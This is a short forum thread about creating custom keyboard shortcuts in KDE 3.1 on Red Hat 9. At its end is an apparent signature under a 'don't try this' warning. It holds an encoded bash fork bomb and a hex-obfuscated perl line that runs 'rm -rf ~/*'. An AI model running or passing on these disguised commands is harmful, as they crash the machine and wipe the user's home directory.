    HowTo : Custom keyboard shortcuts in KDE


    Ok, here is a small problem ,,
    how can I create custom keyboard shortcuts in KDE ?? I am using KDE 3.1.4 with RH9.
    Lemme explain, say, I want to map :
    Code:
         <Ctrl><Alt>Z    to    "xmms -r"
         <Ctrl><Alt>D    to    "xmms -f"
    etc.

    I can do the same in GNOME using Configuration Ed , but simply cannot find something similar in KDE ...

    Thanks in advance for all help as anticipated ...
    Please do help ..

    In the KDE control panel (sometimes labeled "Configure your Desktop")
    Under system look for KHotKeys from there it's pretty simple.

    well .. I hope u remember .. mine is RH9 with KDE 3.1, it has KeyBoard Shortcuts option under Regional and Accessibility Features in KDE Control Center

    KHotKeys is probably not much developed in KDE 3.1 .. and even in recent ver of KDE, are you sure you can add new commands to Keyboard shortcuts from the Control Center .. ???
    What I am trying to say is that normally u can EDIT the key shortcuts of the Commands pre-listed , I want to ADD NEW commands ... and also set their key shortcuts ...
    WARNING!!! Don\'t try the following :
    Code:
    bash$ &#58;&#40;&#41;&#123; &#58;|&#58;&&#125;;&#58; -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
